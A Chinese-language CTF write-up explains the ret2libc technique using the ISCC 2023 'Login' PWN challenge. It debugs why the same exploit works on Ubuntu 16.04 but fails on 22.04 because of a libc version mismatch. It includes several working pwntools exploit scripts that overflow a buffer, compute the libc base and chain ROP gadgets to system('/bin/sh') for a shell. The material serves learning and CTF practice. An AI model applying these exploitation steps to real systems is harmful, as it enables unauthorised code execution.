libc

libc.so 是一个动态链接文件,在程序运行的时候,才会去寻找库文件,取出里面的代码放进内存运行(像平时在运行 Windows 时弹出的 "找不到 xxx.dll文件" 其实就是动态链接)

一般来说,libc 中存放的都是使用过的函数、字符串等

  1. 在 libc.so 动态链接库中的函数之间相对偏移是固定的。 也就是说,虽然程序在执行过程中,真实地址会随着每一次加载 libc 而变化,但是两个函数之间的偏移量总是固定不变的

假设文件中三个函数的地址是 0x40010、0x40020、0x40050,但是加载到内存后会增加一个基地址,假设基地址为 0x000100,虽然地址变了,但他们之间的相对偏移还是一样的

栈溢出漏洞5.png

  1. 根据系统的版本不同,系统中所使用的 libc 的版本也会有所差别。 所以我们首先需要确定程序所使用的是哪一个版本的 libc,这里可以用 LibcSearcher 来寻找(也有的题会直接给出 libc 文件)

不过 LibcSearcher 找到的 libc 版本可能有多个,有时候需要去判断,而且得到的字符串的地址不一定刚刚好,可能需要通过调试去验证。另外,也可以通过网站来查询:libc database search

栈溢出漏洞7.png

注意:
通过 ret2libc 计算出 libc 基地址时,libc 基地址 libcbase 最后三位一般是全 0,可用于判断是否计算正确,libc 基地址可以在 GDB 中使用 vmmap 进行查看

另外,libc 中的函数偏移在加载到内存后地址最后三位是不会变的,例如:system() 函数在 libc 中偏移量为 0x48E50,则加载到内存中可能为 0xF7D1BE50

与操作系统的 4 KB 分页机制有关,4 KB = 4 * 1024 (D) = 1000 (H)


例题

以 ISCC 2023 的一道 PWN 题为例:《【ISCC 2023】Login》

ISCC2023-Login1.png

程序逻辑如下:

ISCC2023-Login3.png

ISCC2023-Login5.png

函数 main() 栈中的情况:

ISCC2023-Login4.png

思路比较简单,首先通过输入 buf 来修改 v6 的值为 365696460 (0x15CC15CC) 绕过 if 判断

然后通过 print_name() 函数中的 memcpy() 将 v4 复制到 dest 中,由于 v4 长度为 0x100,而 dest 长度为 0x20,可以利用 v4 覆盖 dest 来修改返回地址

而题目中没有 system() 函数和 "/bin/sh",但是给出了 libc 文件

ISCC2023-Login6.png

同时程序输出了 stdin 的真实地址 (通过动态调试发现其实是 _IO_2_1_stdin_ 而不是 stdin)

ISCC2023-Login9.png

因此使用 ret2libc 来获取 system() 函数和 "/bin/sh" 的地址

在 Ubuntu 16.04 下,使用如下 exp 直接获得 shell:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

io = process('./Login')

elf = ELF('./Login')
libc = ELF('./libc-2.23.so')

io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16) # 获取程序输出的地址
print(hex(stdin_addr))

io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460) # 修改 v6 绕过 if
io.send(payload)

# 利用 _IO_2_1_stdin_ 计算 libc 偏移
libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

pop_rdi_ret = 0x4008c3 # 64 位传参
ret = 0x400599 # 用于堆栈平衡(glibc 2.27 以下可以不加 ret, 不影响程序执行流)

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

io.sendline(payload)

io.interactive()

由于在 Ubuntu 16.04 中,glibc 2.27 以下版本不存在 system() 函数中 movaps 指令操作 XMM 寄存器的堆栈平衡问题,因此 payload 中 p64(ret) 可加可不加

但在 Ubuntu 22.04 中就必须得加,索性养成习惯直接加上

详见《PWN中Glibc引起的64位程序的堆栈平衡》一文

ISCC2023-Login11.png

但在 Ubuntu 22.04 中使用同样的 exp,就无法获得 shell:

PWN中程序的libc问题1.png

玄学的问题出现了:

同样的脚本,同样的程序,在 Ubuntu 16.04 可以打通,在 Ubuntu 22.04 就打不通


调试分析

在 Ubuntu 22.04 中调试分析一下

在第二个 payload 发送之前附加 gdb 调试,完整测试脚本如下:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

io = process('./Login')

elf = ELF('./Login')
libc = ELF('./libc-2.23.so')

io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16) # 获取程序输出的地址
print(hex(stdin_addr))

io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460) # 修改 v6 绕过 if
io.send(payload)

# 利用 _IO_2_1_stdin_ 计算 libc 偏移
libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

pop_rdi_ret = 0x4008c3 # 64 位传参
ret = 0x400599 # 用于堆栈平衡(glibc 2.27 以下可以不加 ret, 不影响程序执行流)

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

# 附加 gdb 调试
gdb.attach(io)
pause()

io.sendline(payload)

io.interactive()

执行到 call print_name 处

PWN中程序的libc问题2.png

可以看到 print_name() 函数的返回地址没有问题,为 pop rdi

单步 si 进入 print_name() 函数:

PWN中程序的libc问题3.png

print_name() 函数结束后,确实返回到 0x4008c3 <__libc_csu_init+99> 处执行了 pop rdi 指令,也没有问题

PWN中程序的libc问题4.png

执行完 pop rdi 指令后,正常返回到 0x400599 <_init+25> 处执行 ret 指令,也没有问题

PWN中程序的libc问题5.png

ret 返回到 0x7fb6dc29a560 地址处

再次单步执行,程序便崩溃了:地址 0x7fb6dc29a560 不合法

PWN中程序的libc问题6.png

按道理说,这个地址存放的应该是 system() 函数的地址

回头观察执行 pop rdi 指令时的情况,出栈到 RDI 的地址为:0x7fb6dc3e2017,正常来讲这个地址应该为 "/bin/sh" 的地址

实际发现这两个地址确实都不存在:

PWN中程序的libc问题7.png


而在 Ubuntu 16.04 中使用同样的脚本进行调试时

发现最后 ret 的地址就是 system() 的地址:

PWN中程序的libc问题8.png

pop rdi 出栈的也是 "/bin/sh" 的地址:

PWN中程序的libc问题9.png

没有任何问题,可以正常获得 shell

大致可以猜测应该是 Ubuntu 22.04 中 system() 函数和 "/bin/sh" 地址不对


接下来,我们在 Ubuntu 22.04 中验证一下

先单步执行完 pop rdi 指令:

PWN中程序的libc问题10.png

此时我们查找 "/bin/sh" 和 system() 函数的地址:

PWN中程序的libc问题11.png

使用 set 命令强行手动将 RDI 寄存器和 RIP 寄存器修改,使 RDI 存放 "/bin/sh" 的地址,RIP 存放 system() 函数的地址

然后 si 单步步入,发现已经正常进入 system() 函数:

直接 finish 结束函数,可以获得 shell:

PWN中程序的libc问题13.png

在 Pycharm 中运行的 exp 也同步获得 shell:

PWN中程序的libc问题14.png

由此可以得出结论:
其实 Ubuntu 22.04 中无法 getshell 的原因就是 system() 函数和 "/bin/sh" 的地址计算错误
而 system() 函数和 "/bin/sh" 的地址是由 libc 文件计算偏移得来的,因此问题出在 libc 文件上


解决办法

由于题目给的 libc 文件为 libc-2.23.so,在 Ubuntu 16.04 这样的老版本中没有问题

但是在 Ubuntu 22.04 这样的新版本中就不对了

Ubuntu 16.04 的 glibc 版本:

PWN中程序的libc问题15.png

Ubuntu 22.04 的 glibc 版本:

PWN中程序的libc问题16.png

解决办法就是在 Ubuntu 22.04 中使用 Ubuntu 22.04 自带的新版 glibc 来运行程序

注意:
更改程序运行时使用的 libc 版本需要与 ld 文件的版本对应,由于 Ubuntu 22.04 使用的 ld 版本为 2.35,所以如果指定题目给出的 libc-2.23.so 文件会使程序运行崩溃:

PWN中程序的libc问题19.png

这里需要指定 Ubuntu 22.04 自带的 libc 文件

Ubuntu 22.04 自带的 glibc 一般位于 /usr/lib/x86_64-linux-gnu/libc.so.6,也可以使用命令来查找:sudo find / -name libc.so.6

PWN中程序的libc问题17.png

将 exp 改写如下:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# 指定使用 Ubuntu 22.04 自带的 glibc 来运行程序
io = process(['./Login'], env={'LD_PRELOAD': "/usr/lib/x86_64-linux-gnu/libc.so.6"})

elf = ELF('./Login')

# 计算偏移的 libc 也需要与程序相统一
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")


io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16)
print(hex(stdin_addr))

io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460)

io.send(payload)

libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

pop_rdi_ret = 0x4008c3
ret = 0x400599

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

io.sendline(payload)

io.interactive()

此时即可正常 getshell:

PWN中程序的libc问题18.png


再次调试分析

再次在 Ubuntu 22.04 下调试分析

单步执行,发现地址都已经正常,可以调用 system("/bin/sh") 来 getshell 了

PWN中程序的libc问题21.png

PWN中程序的libc问题20.png